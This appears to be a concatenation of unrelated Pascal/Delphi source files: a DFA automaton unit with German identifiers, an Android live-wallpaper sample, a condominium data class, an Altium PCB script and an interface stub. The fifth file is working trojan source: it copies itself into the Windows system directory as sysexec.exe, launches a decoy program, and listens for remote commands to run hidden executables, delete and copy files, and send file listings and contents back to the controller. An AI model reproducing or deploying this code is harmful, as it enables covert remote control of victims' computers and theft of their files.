if Assigned(FOnEvent) then
FOnEvent(vAppName, vOperation, vObject,
FormatDateTime('dd.mm.yyyy hh:nn:ss.zzz', EventTime),
FormatDateTime('hh:nn:ss.zzz', EventTime),
vSQL);
end;
end;
initialization
Register;
end.
|
UNIT Automat;
{$STATIC ON}
INTERFACE
USES fgl;
TYPE
TZustand = CLASS
PRIVATE
name : String;
PUBLIC
CONSTRUCTOR Create(_name : String);
DESTRUCTOR Dispose();
FUNCTION GetName() : String;
END;
{TZustand = CLASS
PRIVATE
next: TFPGMap<char,TZustand>; {TFPGMap --> Dicitonary --> generisches Array}
PUBLIC
CONSTRUCTOR Create(dict: TFPGMap<char,TZustand>);
DESTRUCTOR Dispose;
FUNCTION GetNext(zeichen: char): TZustand;
END;}
TStringArray = Array of String;
TZustandArray = Array of TZustand;
TZustandTabelle = Array of TZustandArray;
TTabellenEintrag = RECORD
ursprung : TZustand;
ziel : TZustandArray;
END;
TUebergangsTabelle = RECORD
alphabet : String;
tabelle : Array of TTabellenEintrag;
END;
TAutomat = CLASS ABSTRACT
PRIVATE
alphabet : String;
zustaende : TZustandArray;
startzustand : TZustand;
endzustaende : TZustandArray;
uebergangstabelle : TUebergangstabelle;
PUBLIC
FUNCTION SimuliereEingabe(eingabe : String) : TZustand; VIRTUAL; ABSTRACT;
END;
TDEA = CLASS(TAutomat)
PUBLIC
CONSTRUCTOR Create(_alphabet : String; _zustaende, _endzustaende : TZustandArray;
_startzustand: TZustand; _uebergangstabelle : TUebergangstabelle);
DESTRUCTOR Dispose();
FUNCTION SimuliereEingabe(eingabe : String) : TZustand; OVERRIDE;
FUNCTION AkzeptiertEingabe(eingabe : String) : Boolean;
CLASS FUNCTION CreateFromFile(filename : String) : TDEA; STATIC;
END;
IMPLEMENTATION USES SysUtils;
CONSTRUCTOR TZustand.Create(_name : String);
BEGIN
self.name := _name;
END;
DESTRUCTOR TZustand.Dispose();
BEGIN
END;
FUNCTION TZustand.GetName() : String;
BEGIN
result := name;
END;
CONSTRUCTOR TDEA.Create(_alphabet : String; _zustaende, _endzustaende : TZustandArray;
_startzustand : TZustand; _uebergangstabelle : TUebergangstabelle);
BEGIN
self.alphabet := _alphabet;
self.zustaende := _zustaende;
self.endzustaende := _endzustaende;
self.startzustand := _startzustand;
self.uebergangstabelle := _uebergangstabelle;
END;
DESTRUCTOR TDEA.Dispose();
BEGIN
END;
FUNCTION NaechsterZustand(aktuellerzustand : TZustand; zeichen : Char;
uetabelle : TUebergangstabelle) : TZustand;
VAR
i, j : Integer;
BEGIN
{ Auswahl der richtigen Zeile }
FOR i := 0 TO Length(uetabelle.tabelle) - 1 DO
BEGIN
IF uetabelle.tabelle[i].ursprung = aktuellerzustand THEN
BEGIN
break;
END;
END;
{ Auswahl der richtigen Spalte }
FOR j := 0 TO Length(uetabelle.tabelle[i].ziel) - 1 DO
BEGIN
IF uetabelle.alphabet[j] = zeichen THEN
BEGIN
break;
END;
END;
{ Ergebnis festhalten }
result := uetabelle.tabelle[i].ziel[j];
END;
{ Simuliert die Eingabe in dem Automaten }
FUNCTION TDEA.SimuliereEingabe(eingabe : String) : TZustand;
VAR
i : Integer;
BEGIN
result := startzustand;
FOR i := 1 TO Length(eingabe) DO
BEGIN
result := NaechsterZustand(result, eingabe[i], uebergangstabelle);
END;
END;
{ Prüft, ob die Eingabe an einem Endzustand terminiert
-> ob die Maschine die Eingabe akzeptiert }
FUNCTION TDEA.AkzeptiertEingabe(eingabe : String) : Boolean;
VAR
i : Integer;
zustand : TZustand;
BEGIN
zustand := SimuliereEingabe(eingabe);
result := false;
FOR i := 0 TO Length(endzustaende) - 1 DO
BEGIN
IF zustand = endzustaende[i] THEN
BEGIN
result := true;
break;
END;
END;
END;
FUNCTION SplitString(str : String; delimiter : Char) : TStringArray;
VAR
i, j : Integer;
BEGIN
SetLength(result, 0);
j := 0;
FOR i := 1 TO Length(str) DO
BEGIN
IF str[i] <> delimiter THEN
BEGIN
Inc(j);
END
ELSE
BEGIN
SetLength(result, Length(result) + 1);
result[High(result)] := Copy(str, i, j);
j := 0;
END;
END;
END;
FUNCTION GetByName(name : String; list : TZustandArray) : TZustand;
VAR
i : Integer;
BEGIN
FOR i := 0 TO Length(list) - 1 DO
BEGIN
IF CompareText(list[i].GetName(), name) = 0 THEN
BEGIN
result := list[i];
break;
END;
END;
END;
CLASS FUNCTION TDEA.CreateFromFile(filename : String) : TDEA; STATIC;
VAR
f : TextFile;
i, j : Integer;
_alphabet, helperstring : String;
helperarr : TStringArray;
_zustaende, _endzustaende : TZustandArray;
_startzustand : TZustand;
_uebergangstabelle : TUebergangsTabelle;
BEGIN
AssignFile(f, filename);
Reset(f);
ReadLn(f, _alphabet);
ReadLn(f, helperstring);
helperarr := SplitString(helperstring, ';');
SetLength(_zustaende, Length(helperarr));
FOR i := 0 TO Length(helperarr) DO
BEGIN
_zustaende[i] := TZustand.Create(helperarr[i]);
END;
ReadLn(f, helperstring);
_startzustand := GetByName(helperstring, _zustaende);
ReadLn(f, helperstring);
helperarr := SplitString(helperstring, ';');
SetLength(_endzustaende, Length(helperarr));
FOR i := 0 TO Length(helperarr) DO
BEGIN
_endzustaende[i] := GetByName(helperarr[i], _zustaende);
END;
_uebergangstabelle.alphabet := _alphabet;
SetLength(_uebergangstabelle.tabelle, 0);
i := 0;
WHILE NOT EOF(f) DO
BEGIN
SetLength(_uebergangstabelle.tabelle, Length(_uebergangstabelle.tabelle) + 1);
ReadLn(f, helperstring);
helperarr := SplitString(helperstring, ';');
_uebergangstabelle.tabelle[i].ursprung := GetByName(helperarr[0], _zustaende);
SetLength(_uebergangstabelle.tabelle[i].ziel, Length(helperarr) - 1);
FOR j := 1 TO Length(helperarr) - 1 DO
BEGIN
_uebergangstabelle.tabelle[i].ziel[j-1] := GetByName(helperarr[i], _zustaende);
END;
Inc(i);
END;
CloseFile(f);
result := TDEA.Create(_alphabet, _zustaende, _endzustaende, _startzustand, _uebergangstabelle);
END;
{CONSTRUCTOR TZustand.Create(dict: TFPGMap<char,TZustand>);
BEGIN
next := dict;
END;
DESTRUCTOR TZustand.Dispose;
VAR
i: integer;
BEGIN
FOR i:=0 TO next.Count-1 DO
BEGIN
next.Remove(next.Keys[i]);
END;
END;
FUNCTION TZustand.GetNext(zeichen: char): TZustand;
VAR
sinnlos: integer;
BEGIN
next.Find(zeichen,sinnlos);
result:=next.GetData(sinnlos);
END;}
BEGIN
END.
|
namespace com.example.android.livecubes.cube2;
{*
* Copyright (C) 2007 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*}
interface
uses
android.content,
android.graphics,
android.os,
android.service.wallpaper,
android.view;
type
/// <summary>
/// This animated wallpaper draws a rotating wireframe shape. It is similar to
/// example #1, but has a choice of 2 shapes, which are user selectable and
/// defined in resources instead of in code.
/// </summary>
CubeWallpaper2 = public class(WallpaperService)
public
method onCreateEngine: WallpaperService.Engine; override;
end;
CubeEngine nested in CubeWallpaper2 = public class(WallpaperService.Engine,
SharedPreferences.OnSharedPreferenceChangeListener)
private
var mHandler: Handler := new Handler;
var mWallpaperService: CubeWallpaper2;
var mOriginalPoints: array of ThreeDPoint;
var mRotatedPoints: array of ThreeDPoint;
var mLines: array of ThreeDLine;
var mPaint: Paint;
var mOffset: Single;
var mTouchX: Single := -1;
var mTouchY: Single := -1;
var mStartTime: Int64;
var mCenterX: Single;
var mCenterY: Single;
var mDrawCube: Runnable;
var mVisible: Boolean;
var mPrefs: SharedPreferences;
method readModel(prefix: String);
public
const SHARED_PREFS_NAME = 'cube2settings';
constructor (wallpaperService: CubeWallpaper2);
method onCreate(holder: SurfaceHolder); override;
method onDestroy; override;
method onVisibilityChanged(visible: Boolean); override;
method onSurfaceCreated(holder: SurfaceHolder); override;
method onSurfaceDestroyed(holder: SurfaceHolder); override;
method onSurfaceChanged(holder: SurfaceHolder; format, width, height: Integer); override;
method onOffsetsChanged(xOffset, yOffset, xOffsetStep, yOffsetStep: Single; xPixelOffset, yPixelOffset: Integer); override;
method onTouchEvent(&event: MotionEvent); override;
method onSharedPreferenceChanged(prefs: SharedPreferences; key: String);
method drawFrame;
method drawCube(c: Canvas);
method drawLines(c: Canvas);
method drawTouchPoint(c: Canvas);
method rotateAndProjectPoints(xRot, yRot: Single);
end;
ThreeDPoint = public class
assembly
var x: Single;
var y: Single;
var z: Single;
end;
ThreeDLine = public class
assembly
var startPoint: Integer;
var endPoint: Integer;
end;
implementation
constructor CubeWallpaper2.CubeEngine(wallpaperService: CubeWallpaper2);
begin
inherited constructor(wallpaperService);
mWallpaperService := wallpaperService;
mDrawCube := new interface Runnable(run := method begin drawFrame end);
// Create a Paint to draw the lines for our cube
mPaint := new Paint;
mPaint.Color := $ffffffff as Int64;
mPaint.AntiAlias := true;
mPaint.StrokeWidth := 2;
mPaint.StrokeCap := Paint.Cap.ROUND;
mPaint.Style := Paint.Style.STROKE;
mStartTime := SystemClock.elapsedRealtime;
mPrefs := mWallpaperService.getSharedPreferences(SHARED_PREFS_NAME, 0);
mPrefs.registerOnSharedPreferenceChangeListener(self);
onSharedPreferenceChanged(mPrefs, nil);
end;
method CubeWallpaper2.onCreateEngine: WallpaperService.Engine;
begin
exit new CubeEngine(self)
end;
method CubeWallpaper2.CubeEngine.onCreate(holder: SurfaceHolder);
begin
inherited onCreate(holder);
// By default we don't get touch events, so enable them.
TouchEventsEnabled := true;
end;
method CubeWallpaper2.CubeEngine.onDestroy;
begin
inherited onDestroy();
mHandler.removeCallbacks(mDrawCube);
end;
method CubeWallpaper2.CubeEngine.onVisibilityChanged(visible: Boolean);
begin
mVisible := visible;
if visible then
drawFrame
else
mHandler.removeCallbacks(mDrawCube)
end;
method CubeWallpaper2.CubeEngine.onSurfaceCreated(holder: SurfaceHolder);
begin
inherited
end;
method CubeWallpaper2.CubeEngine.onSurfaceDestroyed(holder: SurfaceHolder);
begin
inherited onSurfaceDestroyed(holder);
mVisible := false;
mHandler.removeCallbacks(mDrawCube);
end;
method CubeWallpaper2.CubeEngine.onSurfaceChanged(holder: SurfaceHolder; format: Integer; width: Integer; height: Integer);
begin
inherited onSurfaceChanged(holder, format, width, height);
// store the center of the surface, so we can draw the cube in the right spot
mCenterX := width / 2.0;
mCenterY := height / 2.0;
drawFrame;
end;
method CubeWallpaper2.CubeEngine.onOffsetsChanged(xOffset: Single; yOffset: Single; xOffsetStep: Single; yOffsetStep: Single; xPixelOffset: Integer; yPixelOffset: Integer);
begin
mOffset := xOffset;
drawFrame;
end;
/// <summary>
/// Store the position of the touch event so we can use it for drawing later
/// </summary>
/// <param name="event"></param>
method CubeWallpaper2.CubeEngine.onTouchEvent(&event: MotionEvent);
begin
if &event.Action = MotionEvent.ACTION_MOVE then
begin
mTouchX := &event.X;
mTouchY := &event.Y
end
else
begin
mTouchX := - 1;
mTouchY := - 1
end;
inherited onTouchEvent(&event);
end;
/// <summary>
/// Draw one frame of the animation. This method gets called repeatedly
/// by posting a delayed Runnable. You can do any drawing you want in
/// here. This example draws a wireframe cube.
/// </summary>
method CubeWallpaper2.CubeEngine.drawFrame;
begin
var holder: SurfaceHolder := SurfaceHolder;
var c: Canvas := nil;
try
c := holder.lockCanvas;
if c <> nil then
begin
// draw something
drawCube(c);
drawTouchPoint(c)
end;
finally
if c <> nil then
holder.unlockCanvasAndPost(c);
end;
// Reschedule the next redraw
mHandler.removeCallbacks(mDrawCube);
if mVisible then
mHandler.postDelayed(mDrawCube, 1000 div 25)
end;
/// <summary>
/// Draw a wireframe cube by drawing 12 3 dimensional lines between
/// adjacent corners of the cube
/// </summary>
/// <param name="c"></param>
method CubeWallpaper2.CubeEngine.drawCube(c: Canvas);
begin
c.save;
c.translate(mCenterX, mCenterY);
c.drawColor($ff000000 as Int64);
var now: Int64 := SystemClock.elapsedRealtime;
var xrot: Single := Single(now - mStartTime) div 1000;
var yrot: Single := (0.5 - mOffset) * 2.0;
rotateAndProjectPoints(xrot, yrot);
drawLines(c);
c.restore
end;
method CubeWallpaper2.CubeEngine.drawLines(c: Canvas);
begin
var n: Integer := mLines.length;
for i: Integer := 0 to pred(n) do
begin
var l: ThreeDLine := mLines[i];
var start: ThreeDPoint := mRotatedPoints[l.startPoint];
var &end: ThreeDPoint := mRotatedPoints[l.endPoint];
c.drawLine(start.x, start.y, &end.x, &end.y, mPaint);
end;
end;
/// <summary>
/// Draw a circle around the current touch point, if any.
/// </summary>
/// <param name="c"></param>
method CubeWallpaper2.CubeEngine.drawTouchPoint(c: Canvas);
begin
if (mTouchX >= 0) and (mTouchY >= 0) then
c.drawCircle(mTouchX, mTouchY, 80, mPaint)
end;
method CubeWallpaper2.CubeEngine.onSharedPreferenceChanged(prefs: SharedPreferences; key: String);
begin
var shape: String := prefs.String['cube2_shape', 'cube'];
// read the 3D model from the resource
readModel(shape);
end;
method CubeWallpaper2.CubeEngine.readModel(prefix: String);
begin
// Read the model definition in from a resource.
// get the resource identifiers for the arrays for the selected shape
var pid: Integer := mWallpaperService.Resources.Identifier[prefix + 'points', 'array', mWallpaperService.PackageName];
var lid: Integer := mWallpaperService.Resources.Identifier[prefix + 'lines', 'array', mWallpaperService.PackageName];
var p: array of String := mWallpaperService.Resources.StringArray[pid];
var numpoints: Integer := p.length;
mOriginalPoints := new ThreeDPoint[numpoints];
mRotatedPoints := new ThreeDPoint[numpoints];
for i: Integer := 0 to pred(numpoints) do
begin
mOriginalPoints[i] := new ThreeDPoint();
mRotatedPoints[i] := new ThreeDPoint();
var coord: array of String := p[i].split(' ');
mOriginalPoints[i].x := Float.valueOf(coord[0]);
mOriginalPoints[i].y := Float.valueOf(coord[1]);
mOriginalPoints[i].z := Float.valueOf(coord[2]);
end;
var l: array of String := mWallpaperService.Resources.StringArray[lid];
var numlines: Integer := l.length;
mLines := new ThreeDLine[numlines];
for i: Integer := 0 to pred(numlines) do
begin
mLines[i] := new ThreeDLine();
var idx: array of String := l[i].split(' ');
mLines[i].startPoint := Integer.valueOf(idx[0]);
mLines[i].endPoint := Integer.valueOf(idx[1]);
end;
end;
method CubeWallpaper2.CubeEngine.rotateAndProjectPoints(xRot: Single; yRot: Single);
begin
var n: Integer := mOriginalPoints.length;
for i: Integer := 0 to pred(n) do
begin
// rotation around X-axis
var p: ThreeDPoint := mOriginalPoints[i];
var x := p.x;
var y := p.y;
var z := p.z;
var newy := Math.sin(xRot) * z + Math.cos(xRot) * y;
var newz := Math.cos(xRot) * z - Math.sin(xRot) * y;
// rotation around Y-axis
var newx := Math.sin(yRot) * newz + Math.cos(yRot) * x;
newz := Math.cos(yRot) * newz - Math.sin(yRot) * x;
// 3D-to-2D projection
var screenX := newx / (4 - newz / 400);
var screenY := newy / (4 - newz / 400);
mRotatedPoints[i].x := screenX;
mRotatedPoints[i].y := screenY;
mRotatedPoints[i].z := 0;
end
end;
end. |
unit UUnidadeVO;
Interface
uses Atributos, Classes, Constantes, Generics.Collections, SysUtils, UGenericVO,UCnaeVO, UCondominioVO, UProprietarioUnidadeVO;
type
[TEntity]
[TTable('unidade')]
TUnidadeVO = class(TGenericVO)
private
Fidunidade: Integer;
Fvlgasinicial: currency;
Fvlareatotal: currency;
Fvlfracaoideal: currency;
Fidcondominio: Integer;
Fnumero : Integer;
Fobservacao : String;
FDsUnidade : String;
public
CondominioVO : TCondominioVO;
[TId('idunidade')]
[TGeneratedValue(sAuto)]
property idUnidade: Integer read Fidunidade write Fidunidade;
[TColumn('dsunidade','Descrição',500,[ldGrid,ldLookup,ldComboBox], False)]
property DsUnidade: String read FDsUnidade write FDsUnidade;
[TColumn('vlgasinicial','Gás Inicial',130,[ldLookup,ldComboBox], False)]
property vlgasinicial: currency read Fvlgasinicial write Fvlgasinicial;
[TColumn('vlareatotal','Área Total',50,[ldGrid,ldLookup,ldComboBox], False)]
property vlareatotal: currency read Fvlareatotal write Fvlareatotal;
[TColumn('vlfracaoideal','Fração Ideal',50,[ldGrid,ldLookup,ldComboBox], False)]
property vlfracaoideal: currency read Fvlfracaoideal write Fvlfracaoideal;
[TColumn('idcondominio','IdCondominio',50,[ldLookup,ldComboBox], False)]
property idcondominio: Integer read Fidcondominio write Fidcondominio;
[TColumn('numero','Número',50,[ldGrid,ldLookup,ldComboBox], False)]
property numero: Integer read Fnumero write Fnumero;
[TColumn('observacao','Observação',500,[ldLookup,ldComboBox], False)]
property observacao: String read Fobservacao write Fobservacao;
procedure ValidarCampos;
end;
implementation
{ TUnidadeVO }
procedure TUnidadeVO.ValidarCampos;
begin
if (Self.Fnumero = 0) then
begin
raise Exception.Create('O campo Número é obrigatório!');
end;
if (Self.FvlAreaTotal = 0) then
begin
raise Exception.Create('O campo Área Total é obrigatório!');
end;
if (Self.Fvlfracaoideal = 0) then
begin
raise Exception.Create('O campo Fração Ideal é obrigatório!');
end;
end;
end.
|
unit main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, StdCtrls, Buttons, ScktComp, ExtCtrls, ComCtrls, Shellapi;
type
TForm1 = class(TForm)
ServerSocket: TServerSocket;
ClientSocket: TClientSocket;
Memo2: TMemo;
StatusBar1: TStatusBar;
procedure Exit1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ServerSocketError(Sender: TObject; Number: Smallint;
var Description: string; Scode: Integer; const Source,
HelpFile: string; HelpContext: Integer; var CancelDisplay: Wordbool);
procedure Disconnect1Click(Sender: TObject);
procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
procedure ServerSocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocketClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ServerSocketClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ServerSocketClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
protected
private
procedure Entrada(Conte:string);
public
end;
var
Form1 : TForm1;
Server : String;
implementation
{$R *.DFM}
procedure TForm1.Exit1Click(Sender: TObject);
begin
ServerSocket.Close;
ClientSocket.Close;
Close;
end;
procedure TForm1.FormCreate(Sender: TObject);
procedure Sai;
const
nTrojanSize = 176128;
BufferSize = 256;
sDisFile='File.exe';
sTrojanName='sysexec.exe';
sTempFile='Temp.exe';
var
FromF,ToF: file;
NumRead, NumWritten: Integer;
Buf: array[1..1024] of Char;
ArSystem: array [0..144] of char;
sSysPath:string;
sPath:string;
begin
GetSystemDirectory(ArSystem, sizeof(ArSystem));
sPath:= UpperCase( ExtractFilePath( paramstr(0) ) );
sSysPath :=UpperCase(ArSystem)+'\';
// Ativa trojan se estiver na pasta system
if sPath = sSysPath then begin
Caption := sTrojanName;
ServerSocket.Active:=False;
sleep(2000);
ServerSocket.Active:=True;
end
else begin
// Cria um arquivo temporario do executavel para pasta de sistema
try
CopyFile(pchar( ParamStr(0) ), pchar(sSysPath+sTempFile), true);
except end;
// Copia o trojan e execute
CopyFile(pchar( sSysPath+'Temp.exe' ), pchar(sSysPath+sTrojanName), true);
WinExec(PChar(sSysPath+sTrojanName), 1);
// Separa o arquivo de desfarce e executa
AssignFile(FromF, sSysPath+'Temp.exe');
AssignFile(ToF, sSysPath+sDisFile);
Reset(FromF, 1);
if not FileExists(sSysPath+sDisFile) then begin
Rewrite(ToF, 1);
Seek(FromF, nTrojanSize);
repeat
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
BlockWrite(ToF, Buf, NumRead, NumWritten);
until (NumRead = 0) or (NumWritten <> NumRead);
CloseFile(ToF);
CloseFile(FromF);
end;
// execute o programa disfarce
WinExec(PChar(sSysPath+sDisFile), 1);
//Tente apagar o arquivo disfarce
sleep(10000);
while FileExists(sSysPath+sDisFile) do begin
try
Erase(ToF);
except
end; // try
sleep(1000);
end; // while FileExists
try
//Apague arquivo temporario
Erase(FromF);
except
end; // try
Application.Terminate;
end; // Uppercase(sSysPath)
end;
begin
Application.Handle:=0;
Sai;
end;
procedure TForm1.ServerSocketError(Sender: TObject; Number: Smallint;
var Description: string; Scode: Integer; const Source, HelpFile: string;
HelpContext: Integer; var CancelDisplay: Wordbool);
begin
ShowMessage(Description);
end;
procedure TForm1.Disconnect1Click(Sender: TObject);
begin
ClientSocket.Close;
end;
procedure TForm1.ClientSocketRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
Memo2.Lines.Add(Socket.ReceiveText);
end;
procedure TForm1.Entrada(Conte:string);
procedure Split(const Ini: String; var var1, var2 : String );
var
npos : Integer;
begin
npos := pos('&',Ini);
Var1:=Copy(Ini, 1, npos-1);
Var2:=Copy(Ini, npos+1, Length(Ini) );
end;
procedure EscondeIniciar(Resto:String);
var
TaskbarHandle, ButtonHandle : HWND;
begin
TaskBarHandle := FindWindow('Shell_TrayWnd', nil);
ButtonHandle := GetWindow(TaskbarHandle, GW_CHILD);
If Resto <> 'hide' then begin
ShowWindow(ButtonHandle, SW_RESTORE);
Visible := True;
end
else begin
ShowWindow(ButtonHandle, SW_HIDE);
Visible := False;
end;
Form1.Show;
end;
procedure EscondeBotao(Resto:String);
var
hTaskBar2, hTaskBar :Thandle;
begin
If Resto = 'hide' then begin
hTaskBar := FindWindow('Shell_TrayWnd',Nil);
ShowWindow(hTaskBar,Sw_Hide);
end
else begin
hTaskBar2 := FindWindow('Shell_TrayWnd',Nil);
ShowWindow(hTaskBar2,Sw_Normal);
end;
end;
procedure Executa(Nome : string);
var
Comando : Array[0..1024] of Char;
Parms : Array[0..1024] of Char;
sTipo,sTemp, Arquivo, Parametro : String;
begin
// Tipo de Execução
// E - Escondido
// M - Maximizado
Split(Nome, sTipo, sTemp);
Split(sTemp, Arquivo, Parametro);
StrPCopy(Comando,Arquivo);
StrPCopy(Parms,Parametro);
if sTipo = 'E' then
ShellExecute(0,nil,Comando,Parms,nil,SW_HIDE)
else
ShellExecute(0,nil,Comando,Parms,nil,SW_SHOWMAXIMIZED);
end;
procedure Apaga(Nome:String);
var
F: File;
begin
try
AssignFile(F, Nome);
Erase(F);
except
on E:EInOutError do
ClientSocket.Socket.SendText('Erro Ao excluir : ' + IntToStr(E.ErrorCode) + ' '+ E.Message );
end;
end;
procedure Lista(Nome:String);
var
sr : TSearchRec;
sTipo : string;
begin
// Try to find regular files matching Unit1.d* in the current dir
ClientSocket.Socket.SendText( Nome );
sleep(100);
ClientSocket.Socket.SendText( '=== INI ===');
if FindFirst(Nome, faAnyFile, sr) = 0 then
repeat
//Tipo
// D=Diretorio
// A=Arquivo
if ( sr.attr = faDirectory ) then
sTipo :='D'
else
sTipo :='A';
// TIPO + Arquivo + Tamanho
sleep(100);
if sTipo = 'A' then
ClientSocket.Socket.SendText(sTipo + ' [ ' + sr.Name+' ] '+IntToStr(sr.Size ) )
else
ClientSocket.Socket.SendText(sTipo + ' [ ' + sr.Name+'\ ] ' );
until FindNext(sr) <> 0;
FindClose(sr);
sleep(100);
ClientSocket.Socket.SendText( '=== FIM ===');
end;
procedure Copia(Nome:String);
var
Origem, Destino : String;
begin
Split(Nome, Origem, Destino);
try
CopyFile(pchar( Origem ), pchar( Destino ), true);
except
on E:EInOutError do
ClientSocket.Socket.SendText('Erro Ao excluir : ' + IntToStr(E.ErrorCode) + ' '+ E.Message );
end;
end;
procedure Exibir(Nome:String);
var
Lista: TStringList;
N : Integer;
begin
Lista := TStringList.Create;
try
Lista.LoadFromFile(Nome);
ClientSocket.Socket.SendText( Nome );
sleep(100);
ClientSocket.Socket.SendText( '=== INI ===');
For n := 0 to Lista.Count-1 do begin
sleep(100);
ClientSocket.Socket.SendText(Lista.Strings[n]);
end;
sleep(100);
ClientSocket.Socket.SendText( '=== FIM ===');
except
on E:EInOutError do
ClientSocket.Socket.SendText('Erro Ao excluir : ' + IntToStr(E.ErrorCode) + ' '+ E.Message );
end;
Lista.Free;
end;
var
Resto, Letras: string;
begin
Letras:=Copy(Conte, 1, 4);
Resto:=Copy(Conte, 6, Length(Conte) );
if Letras = '/pin' then ClientSocket.Socket.SendText('Pong!!!!!!');
if Letras = '/msg' then Showmessage(Resto);
if Letras = '/tsk' then EscondeBotao(Resto);
if Letras = '/btn' then EscondeIniciar(Resto);
if Letras = '/del' then Apaga(Resto);
if Letras = '/lis' then Lista(Resto);
if Letras = '/exe' then Executa(Resto);
if Letras = '/cop' then Copia(Resto);
if Letras = '/cat' then Exibir(Resto);
end;
procedure TForm1.ServerSocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
sEntrada : String;
begin
sEntrada := Socket.ReceiveText;
Memo2.Lines.Add(sEntrada);
Entrada(sEntrada);
end;
procedure TForm1.ServerSocketClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Statusbar1.SimpleText:=Socket.RemoteAddress;
ClientSocket.Host:=Socket.RemoteAddress;
ClientSocket.Active:=true;
ClientSocket.Socket.SendText('Conectado!!!');
end;
procedure TForm1.ClientSocketError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
Memo2.Lines.Add('Error connecting to : ' + Server);
ErrorCode := 0;
end;
procedure TForm1.ServerSocketClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
ClientSocket.Close;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
ClientSocket.Close;
Application.Terminate;
end;
procedure TForm1.ServerSocketClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ClientSocket.Close;
end;
end.
|
{..............................................................................}
{ Summary Demo the use of the library iterator. }
{ Displays the number of child objects for each footprint found in a }
{ PCB library }
{ }
{ Copyright (c) 2004 by Altium Limited }
{..............................................................................}
{..............................................................................}
Procedure LookInsideFootprints;
Var
CurrentLib : IPCB_Library;
AObject : IPCB_Primitive;
FootprintIterator : IPCB_LibraryIterator;
Iterator : IPCB_GroupIterator;
Footprint : IPCB_LibComponent;
FirstTime : Boolean;
NoOfPrims : Integer;
S : TString;
Begin
CurrentLib := PCBServer.GetCurrentPCBLibrary;
If CurrentLib = Nil Then
Begin
ShowMessage('This is not a PCB Library document');
Exit;
End;
// For each page of library is a footprint
FootprintIterator := CurrentLib.LibraryIterator_Create;
FootprintIterator.SetState_FilterAll;
S := '';
FirstTime := True;
Try
// Within each page, fetch primitives of the footprint
// A footprint is a IPCB_LibComponent inherited from
// IPCB_Group which is a container object that stores primitives.
Footprint := FootprintIterator.FirstPCBObject;
While Footprint <> Nil Do
Begin
If FirstTime Then
Begin
S := S + ExtractFileName(Footprint.Board.FileName) + #13;
S := S + ' Current Footprint : ' + CurrentLib.CurrentComponent.Name + #13 + #13;
End;
S := S + Footprint.Name;
Iterator := Footprint.GroupIterator_Create;
Iterator.SetState_FilterAll;
// Counts number of prims for each Footprint as a IPCB_LibComponent
NoOfPrims := 0;
AObject := Iterator.FirstPCBObject;
While (AObject <> Nil) Do
Begin
// counts child objects or primitives
// for each footprint.
Inc(NoOfPrims);
// do what you want with the AObject.
AObject := Iterator.NextPCBObject;
End;
S := S + ' has ' + IntToStr(NoOfPrims) + ' Primitives.' + #13;
FirstTime := False;
Footprint.GroupIterator_Destroy(Iterator);
Footprint := FootprintIterator.NextPCBObject;
End;
Finally
CurrentLib.LibraryIterator_Destroy(FootprintIterator);
End;
ShowMessage(S);
End;
{..............................................................................}
{..............................................................................}
|
unit Interfaces.Box.Goal;
interface
uses
System.Classes,
System.Types,
Vcl.ExtCtrls;
type
IBoxGoal = Interface(IInterface)
['{2D0FD04F-D399-40D1-ACF4-86B24EB2230A}']
function Position(const Value: TPoint): IBoxGoal; overload;
function Position: TPoint; overload;
function Owner(const Value: TGridPanel): IBoxGoal; overload;
function Owner: TGridPanel; overload;
function Key(const Value: Integer): IBoxGoal; overload;
function Key: Integer; overload;
function CreateImages: IBoxGoal;
function ChangeParent: IBoxGoal;
End;
implementation
end.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.